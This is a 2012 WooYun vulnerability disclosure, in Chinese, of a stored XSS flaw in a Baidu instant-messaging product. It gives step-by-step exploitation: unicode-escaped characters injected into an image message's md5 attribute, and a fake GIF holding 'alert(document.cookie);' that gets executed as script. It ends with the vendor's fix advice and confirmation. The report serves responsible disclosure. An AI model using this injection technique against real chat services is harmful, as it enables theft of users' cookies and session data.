漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-08394
漏洞标题:百度某IM产品又一存储型Xss
相关厂商:百度
漏洞作者: gainover
提交时间:2012-06-17 11:56
修复时间:2012-08-01 11:56
公开时间:2012-08-01 11:56
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-06-17: 细节已通知厂商并且等待厂商处理中
2012-06-19: 厂商已经确认,细节仅向厂商公开
2012-06-29: 细节向核心白帽子及相关领域专家公开
2012-07-09: 细节向普通白帽子公开
2012-07-19: 细节向实习白帽子公开
2012-08-01: 细节向公众公开
简要描述:
经测试,上次的漏洞已经修复啦,但又找到一个新的方法,可以导致Xss。
详细说明:
1. 首先是上传一个正常的图片。
<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="bcb94d83862402da4337a19a6b0c4cd6" t="png"/></msg>
2. 然后修改md5参数。。上一次是"的问题。我想你们肯定修复了,于是就换一个方法试试。
<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="bcb94d83862402da4337a19a6b0c4cd6\u0023\u0022\u003e" t="png"/></msg>
3. 这样修改后,再发送。。发现接收方就一直是一个图片,在转啊转!!
打开调试工具,可以定位到那个转啊转的图片上!
4. 可见自定义的属性 _src 和 _type ,我们不难推测,程序员之后的操作,大概是读取_src属性,
并重新进行输出<img src="+ _src + "> 的操作。
5. 那么这里应该会出现 <img src="http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">">的情况才对。
6. 可这个图片并没有如预期的加载出来。
7. 搜索_src,定位到这个JS文件,http://st0.im.baidu.com/popup/popup.js?v=04241601
分析图片加载的相关代码, 看到以下内容。
function g(C, D, B) {
this.img = D;
this.chat = C;
this.tryCount = 0;
this.tryTime = 30;
this.timmer = null;
this.level = 2;
var A = D.getAttribute("_src"),
E = this;
this.doload = function() {
e.sio.callByServer(A,
..........
8. 可以看到,var A = D.getAttribute("_src"), 之后,被e.sio.callByServer(A .. 所调用。
9. 进一步,在调试工具里,调出 baidu.sio.callByServer 的代码。
10. 不用仔细看,看到document.createElement("SCRIPT"),就基本能猜测到,这个baidu.sio.callByServer是用来加载外部JS文件的。
11. 这样看来,_src 里指定的文件,似乎被当作JS文件加载了?
12. 为了进一步了解是怎么回事。
13. 我们再发送一次图片,并进行抓包。 可以看到图片加载时候,发生了2个请求。
http://file.im.baidu.com/get/file/content/old_image/fb64a79258fc6568f1cf28a02fbe84b0?from=page&rnd=16vq30dup&callback=bd__cbs__2hsm6v
http://file.im.baidu.com/get/file/content/old_image/fb64a79258fc6568f1cf28a02fbe84b0?from=page&rnd=16vq30dup
14. 对比上面2个地址,不难发现,这个地址返回内容是由callback参数决定的。
15. 这样一来,我就可以推断出,为什么刚才我们发送的图片始终没有加载。
因为我们的地址是
http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">?from=page&rnd=16vramskf&callback=bd__cbs__2hsm6v
那么程序首先会把这个地址当作 JS 文件去加载。
baidu.sio.callByServer('http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">?from=page&rnd=16vramskf&callback=bd__cbs__2hsm6v');
当时,上面这个地址,显然是一个图片,被当为JS,始终无法正常加载,因而。。就一直加载中。。
16. 但是,这里显然存在一个安全问题。。。 如果我们图片的内容是JS呢?
那么 baidu.sio.callByServer('内容是JS的图片'),
则会读取并加载这个JS的内容。
17. 带着这个想法,我们不难构造出以下漏洞利用方法。
A. 首先建立一个伪造的GIF图,内容如下:
Gif89a=""
alert(document.cookie);
B. 然后发送这个图片。抓包得到请求
C. 将 ?from=page# 转换为 unicode :\u003F\u0066\u0072\u006f\u006d\u003D\u0070\u0061\u0067\u0065\u0023
加到md5的末尾.
D. 发送此内容。可以看到接收方弹出了弹窗
18. 总结本漏洞,主要利用了3点。
A. md5值处可以插入内容
B. 通过加入 #的方式阻断了 http://file.im.baidu.com/get/file/content/old_image/xxxxx 的 callback参数作用。
C. 上传图片文件处,被我们利用为JS文件进行执行。
漏洞证明:
见详细说明。
修复方案:
将md5值限制为32位长度,仅允许 字母+数字 字符集。
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2012-06-19 14:17
厂商回复:
感谢提交 和上次问题一样 这种问题可以更直接并且更方便的获取用户数据
最新状态:
暂无